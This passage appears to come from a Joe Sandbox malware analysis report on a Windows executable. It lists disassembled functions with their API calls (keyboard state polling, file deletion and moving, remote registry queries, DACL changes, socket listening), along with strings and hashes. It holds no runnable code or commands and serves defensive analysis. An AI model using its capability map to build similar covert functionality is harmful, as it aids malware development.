Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
Instruction ID: ca7533572160e11dbde8065ec827d22089c8f651bf333db00fbc7ca3fe82816e
Opcode Fuzzy Hash: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
Instruction Fuzzy Hash: B141822160864295EB50DB2DE8646F963A1FB46FA4F844131DE6E876DEDF3CEC0AC710

Function 00007FF6B5B9D87C Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 66COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM ref: 00007FF6B5B9D8F5
mciSendStringW.WINMM ref: 00007FF6B5B9D913
mciSendStringW.WINMM ref: 00007FF6B5B9D92B
mciSendStringW.WINMM ref: 00007FF6B5B9D949
mciSendStringW.WINMM ref: 00007FF6B5B9D967

Strings

play PlayMe wait, xrefs: 00007FF6B5B9D942
status PlayMe mode, xrefs: 00007FF6B5B9D8EE
open , xrefs: 00007FF6B5B9D894
alias PlayMe, xrefs: 00007FF6B5B9D8CF
play PlayMe, xrefs: 00007FF6B5B9D960
close PlayMe, xrefs: 00007FF6B5B9D907, 00007FF6B5B9D952

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: SendString
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 890592661-1007645807
Opcode ID: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
Instruction ID: 1c1ed9aff4f5dddab7654e08e945424d5ac616cb4df45d2d7d78a3d205a85348
Opcode Fuzzy Hash: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
Instruction Fuzzy Hash: B1219526B18A9395F720DB29E864AEA6720FFA6F44FD04031D74D8799EDE2CDD09C740

Function 00007FF6B5B97E64 Relevance: 18.2, APIs: 12, Instructions: 173keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF6B5B97F01
SetKeyboardState.USER32 ref: 00007FF6B5B97F58
GetAsyncKeyState.USER32 ref: 00007FF6B5B97F7E
GetKeyState.USER32 ref: 00007FF6B5B97F93
GetAsyncKeyState.USER32 ref: 00007FF6B5B97FC2
GetKeyState.USER32 ref: 00007FF6B5B97FD2
GetAsyncKeyState.USER32 ref: 00007FF6B5B98001
GetKeyState.USER32 ref: 00007FF6B5B98011
GetAsyncKeyState.USER32 ref: 00007FF6B5B98040
GetKeyState.USER32 ref: 00007FF6B5B98050
GetAsyncKeyState.USER32 ref: 00007FF6B5B9807F
GetKeyState.USER32 ref: 00007FF6B5B9808F

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
Instruction ID: 7f427d8e5aa5efe3fbe5be9100ded3a62c68abf406c4b2b7e96b93d162cdfa74
Opcode Fuzzy Hash: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
Instruction Fuzzy Hash: 9671D212A4C6C285FB758B3890206F92BA1EB67F84F980039D78D436DBCE9DDD06C751

Function 00007FF6B5BAA4F8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 104fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF6B5BAA530
FindNextFileW.KERNEL32 ref: 00007FF6B5BAA588
FindClose.KERNEL32 ref: 00007FF6B5BAA595
FindClose.KERNEL32 ref: 00007FF6B5BAA5B3
FindFirstFileW.KERNEL32 ref: 00007FF6B5BAA5CC
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6B5BAA611
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6B5BAA638
FindNextFileW.KERNEL32 ref: 00007FF6B5BAA646
FindClose.KERNEL32 ref: 00007FF6B5BAA655

Part of subcall function 00007FF6B5B9C67C: CreateFileW.KERNEL32 ref: 00007FF6B5B9C6B1

Strings

*.*, xrefs: 00007FF6B5BAA5C5

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
Instruction ID: 2bb77b6f89a395693784c0e80a854a1ab8e39be1970ec27d04bc4eba0060ac29
Opcode Fuzzy Hash: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
Instruction Fuzzy Hash: F641511160CA4395EA509B1DA8646F96390FF46FE4F905131DE6E876DEDF3CD80ACB10

Function 00007FF6B5BA3E20 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 97fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF6B5BA3E61
CreateDirectoryW.KERNEL32 ref: 00007FF6B5BA3EB2
CreateFileW.KERNEL32 ref: 00007FF6B5BA3EE4
RemoveDirectoryW.KERNEL32 ref: 00007FF6B5BA3EF6
DeviceIoControl.KERNEL32 ref: 00007FF6B5BA3FA5
CloseHandle.KERNEL32 ref: 00007FF6B5BA3FB2
CloseHandle.KERNEL32 ref: 00007FF6B5BA3FBD

Strings

\??\%s, xrefs: 00007FF6B5BA3E79
\, xrefs: 00007FF6B5BA3E97
:, xrefs: 00007FF6B5BA3E9F

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove
String ID: :$\$\??\%s
API String ID: 3827137101-3457252023
Opcode ID: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
Instruction ID: 6bb88836290e9ad8bdcb181b2eecbfcdf2c3c561acb5ca47f2dad0f59c15d06c
Opcode Fuzzy Hash: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
Instruction Fuzzy Hash: 8841952261868385E7609F29E8246FD63A0FF86B98F540135DB4D87B9EDF7CD946C700

Function 00007FF6B5BC055C Relevance: 16.9, APIs: 11, Instructions: 371registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5BC1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF6B5BBFD7B), ref: 00007FF6B5BC1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF6B5BC0662
RegOpenKeyExW.ADVAPI32 ref: 00007FF6B5BC06CD
RegCloseKey.ADVAPI32 ref: 00007FF6B5BC06F4
RegQueryValueExW.ADVAPI32 ref: 00007FF6B5BC0746
RegQueryValueExW.ADVAPI32 ref: 00007FF6B5BC07FD
RegQueryValueExW.ADVAPI32 ref: 00007FF6B5BC0860
RegQueryValueExW.ADVAPI32 ref: 00007FF6B5BC0907
RegQueryValueExW.ADVAPI32 ref: 00007FF6B5BC0961
RegQueryValueExW.ADVAPI32 ref: 00007FF6B5BC0A12
RegCloseKey.ADVAPI32 ref: 00007FF6B5BC0A9E
RegCloseKey.ADVAPI32 ref: 00007FF6B5BC0AAD

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: QueryValue$Close$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3218304859-0
Opcode ID: 56613195d31d9b8dc67beba3ae71979573c24aebd7d9093bc0b17d223b1a2dd4
Instruction ID: 64848287e4f883155a90a10335725c81aea16be27d493513d49b17f2b2408343
Opcode Fuzzy Hash: 56613195d31d9b8dc67beba3ae71979573c24aebd7d9093bc0b17d223b1a2dd4
Instruction Fuzzy Hash: 86F17032B05A4686EB10DF69D4A06EC37B0EB86F98B058131DF4D87B9ADF39E901C744

Function 00007FF6B5BA83D4 Relevance: 16.8, APIs: 11, Instructions: 255comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF6B5BA8452
SHGetSpecialFolderLocation.SHELL32 ref: 00007FF6B5BA84FC
SHGetDesktopFolder.SHELL32 ref: 00007FF6B5BA8516
CoCreateInstance.OLE32 ref: 00007FF6B5BA858F
SHCreateShellItem.SHELL32 ref: 00007FF6B5BA8629
CoTaskMemFree.OLE32 ref: 00007FF6B5BA8699
SHBrowseForFolderW.SHELL32 ref: 00007FF6B5BA872A
SHGetPathFromIDListW.SHELL32 ref: 00007FF6B5BA874B
CoTaskMemFree.OLE32 ref: 00007FF6B5BA8754
CoTaskMemFree.OLE32 ref: 00007FF6B5BA8799
CoUninitialize.OLE32 ref: 00007FF6B5BA879F

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 3f2bc404d53d5998161f0ee2b8df4f9bc3160e202cb50a098f9587f0d2c0f7e1
Instruction ID: 843bb8ea4cffc5128fb774615b34bd143237d732f7e4fab764a7115d4bc45c28
Opcode Fuzzy Hash: 3f2bc404d53d5998161f0ee2b8df4f9bc3160e202cb50a098f9587f0d2c0f7e1
Instruction Fuzzy Hash: B1C13736A04B8585EB10DF6AD8A41ED67A0FB8AF94F054036DF4E87B6ACF39D945C700

Function 00007FF6B5B8C5FC Relevance: 16.7, APIs: 11, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B8CD34: GetUserObjectSecurity.USER32 ref: 00007FF6B5B8CD65
Part of subcall function 00007FF6B5B8CD34: GetLastError.KERNEL32(?,?,?,?,00000000,00007FF6B5B8C65A), ref: 00007FF6B5B8CD71
Part of subcall function 00007FF6B5B8CD34: GetUserObjectSecurity.USER32 ref: 00007FF6B5B8CD9C

Part of subcall function 00007FF6B5B8CE28: InitializeSecurityDescriptor.ADVAPI32(?,?,00000000,00007FF6B5B8C66F), ref: 00007FF6B5B8CE4D

GetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF6B5B8C68B
GetAclInformation.ADVAPI32 ref: 00007FF6B5B8C6C5
GetLengthSid.ADVAPI32 ref: 00007FF6B5B8C6D6
GetAce.ADVAPI32 ref: 00007FF6B5B8C714
AddAce.ADVAPI32 ref: 00007FF6B5B8C73B
GetLengthSid.ADVAPI32 ref: 00007FF6B5B8C753
GetLengthSid.ADVAPI32 ref: 00007FF6B5B8C776
CopySid.ADVAPI32 ref: 00007FF6B5B8C785
AddAce.ADVAPI32 ref: 00007FF6B5B8C7CB
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF6B5B8C7EE
SetUserObjectSecurity.USER32 ref: 00007FF6B5B8C803

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 1255039815-0
Opcode ID: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
Instruction ID: 5707d100e44e76596ad63497910feb466059b9dddf11876e7f4e837a45e637ea
Opcode Fuzzy Hash: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
Instruction Fuzzy Hash: E2618D66B04A5286EB10DF69D860AFC37A4BB45F88B04A036DF1D97BDADF38D845C340

Function 00007FF6B5BCA59C Relevance: 15.2, APIs: 10, Instructions: 174windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF6B5BCA650
SendMessageW.USER32 ref: 00007FF6B5BCA664
GetWindowLongW.USER32 ref: 00007FF6B5BCA697
SendMessageW.USER32 ref: 00007FF6B5BCA6C1
SendMessageW.USER32 ref: 00007FF6B5BCA752
SendMessageW.USER32 ref: 00007FF6B5BCA7A6
SendMessageW.USER32 ref: 00007FF6B5BCA7CD
SendMessageW.USER32 ref: 00007FF6B5BCA7F1
SendMessageW.USER32 ref: 00007FF6B5BCA80E
SendMessageW.USER32 ref: 00007FF6B5BCA832

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
Instruction ID: 82b972203f3bdf663c9390e643c9c76ecbaca3c9bab8840b0e91b5a87a16f75e
Opcode Fuzzy Hash: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
Instruction Fuzzy Hash: AB71B036605A9186E760DF69D854AED3760FB8AF94F504036DB4D83BAACF3CD986C700

Function 00007FF6B5B9B7C0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 171fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B256D4: GetFullPathNameW.KERNEL32(?,00007FF6B5B256C1,?,00007FF6B5B27A0C,?,?,?,00007FF6B5B2109E), ref: 00007FF6B5B256FF

Part of subcall function 00007FF6B5B9CED4: GetFileAttributesW.KERNEL32 ref: 00007FF6B5B9CED8

FindFirstFileW.KERNEL32 ref: 00007FF6B5B9B8AC
DeleteFileW.KERNEL32 ref: 00007FF6B5B9B987
MoveFileW.KERNEL32 ref: 00007FF6B5B9B9A7
DeleteFileW.KERNEL32 ref: 00007FF6B5B9B9CA
FindNextFileW.KERNEL32 ref: 00007FF6B5B9B9FC
FindClose.KERNEL32 ref: 00007FF6B5B9BA15

Part of subcall function 00007FF6B5B9BA80: CopyFileExW.KERNEL32 ref: 00007FF6B5B9BAA7

Strings

\*.*, xrefs: 00007FF6B5B9B849, 00007FF6B5B9B867

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4047182710-1173974218
Opcode ID: 3e5e0e112cc80aa2c2516f057e4a01b659553512389772208b3739e74699da54
Instruction ID: 72f71be16a43f4f14c87e13fd05b5c21f4015543cae2bdf422af74c11f5f3e40
Opcode Fuzzy Hash: 3e5e0e112cc80aa2c2516f057e4a01b659553512389772208b3739e74699da54
Instruction Fuzzy Hash: A7816422A0C64295FB10DB69E4611FD6B60FF95B94F801032EB4E869AFDF7CD949C710

Function 00007FF6B5B62650 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 155timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6B5B62673

Part of subcall function 00007FF6B5B61C40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B61C54

_get_daylight.LIBCMT ref: 00007FF6B5B62684

Part of subcall function 00007FF6B5B61BE0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B61BF4

_get_daylight.LIBCMT ref: 00007FF6B5B62695

Part of subcall function 00007FF6B5B61C10: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B61C24

Part of subcall function 00007FF6B5B5B3C0: RtlFreeHeap.NTDLL ref: 00007FF6B5B5B3D6
Part of subcall function 00007FF6B5B5B3C0: GetLastError.KERNEL32 ref: 00007FF6B5B5B3E8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6B5B628F5), ref: 00007FF6B5B626BC
WideCharToMultiByte.KERNEL32 ref: 00007FF6B5B62752
WideCharToMultiByte.KERNEL32 ref: 00007FF6B5B6279E

Strings

?, xrefs: 00007FF6B5B62791

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone
String ID: ?
API String ID: 500310315-1684325040
Opcode ID: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
Instruction ID: ec0a679376913f97bf2376227ad5eabb68653eadbcb69461a4c1fea9bfbefad8
Opcode Fuzzy Hash: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
Instruction Fuzzy Hash: D1617E72A1878286F7609F29E8605F9B7A5FF85B94F440136EB0DC669ADF3CEC418740

Function 00007FF6B5BB3940 Relevance: 12.1, APIs: 8, Instructions: 116networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32 ref: 00007FF6B5BB39DA
WSAGetLastError.WSOCK32 ref: 00007FF6B5BB39EC
bind.WSOCK32 ref: 00007FF6B5BB3A3A
WSAGetLastError.WSOCK32 ref: 00007FF6B5BB3A44
closesocket.WSOCK32 ref: 00007FF6B5BB3A70
listen.WSOCK32 ref: 00007FF6B5BB3A7E
WSAGetLastError.WSOCK32 ref: 00007FF6B5BB3A94
closesocket.WSOCK32 ref: 00007FF6B5BB3AC0

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
Instruction ID: 24ad7afc7b11a39a027bff410365d568fac54f6a74705a3d85e0e29f7b970073
Opcode Fuzzy Hash: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
Instruction Fuzzy Hash: 30417172A0868286EB14EF1E94A02AC6B50FB86F90F454534DB5E8779BCF7DD9418704

Function 00007FF6B5BB8360 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 331COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00007FF6B5BB83EA
NULL Pointer assignment, xrefs: 00007FF6B5BB8831

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 3b41e49848b2a854f69dbea14d55eff9d78a714003a2fd806a44bf0603c53a60
Instruction ID: acc65b2ea5de79757845a8b668dbd2af2b76e7b4d78ec6fcc04594b7fc543af3
Opcode Fuzzy Hash: 3b41e49848b2a854f69dbea14d55eff9d78a714003a2fd806a44bf0603c53a60
Instruction Fuzzy Hash: 58E1E336A08B8286EB50DF29D4902ED77A0FB89B98F404136EF4D97B99DF78D945C700

Function 00007FF6B5B9BC70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B256D4: GetFullPathNameW.KERNEL32(?,00007FF6B5B256C1,?,00007FF6B5B27A0C,?,?,?,00007FF6B5B2109E), ref: 00007FF6B5B256FF

Part of subcall function 00007FF6B5B9CED4: GetFileAttributesW.KERNEL32 ref: 00007FF6B5B9CED8

FindFirstFileW.KERNEL32 ref: 00007FF6B5B9BD09
DeleteFileW.KERNEL32 ref: 00007FF6B5B9BD5B
FindNextFileW.KERNEL32 ref: 00007FF6B5B9BD6D
FindClose.KERNEL32 ref: 00007FF6B5B9BD7F
FindClose.KERNEL32 ref: 00007FF6B5B9BD8A

Strings

\*.*, xrefs: 00007FF6B5B9BCD3

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 33faa39baa03be8120850797a18634ea376334063adf963c1f4e83021c640b6d
Instruction ID: b1bc46293d36e121d02d4939aa83f48f233af7fd033ead75f0c5df5352d0a88b
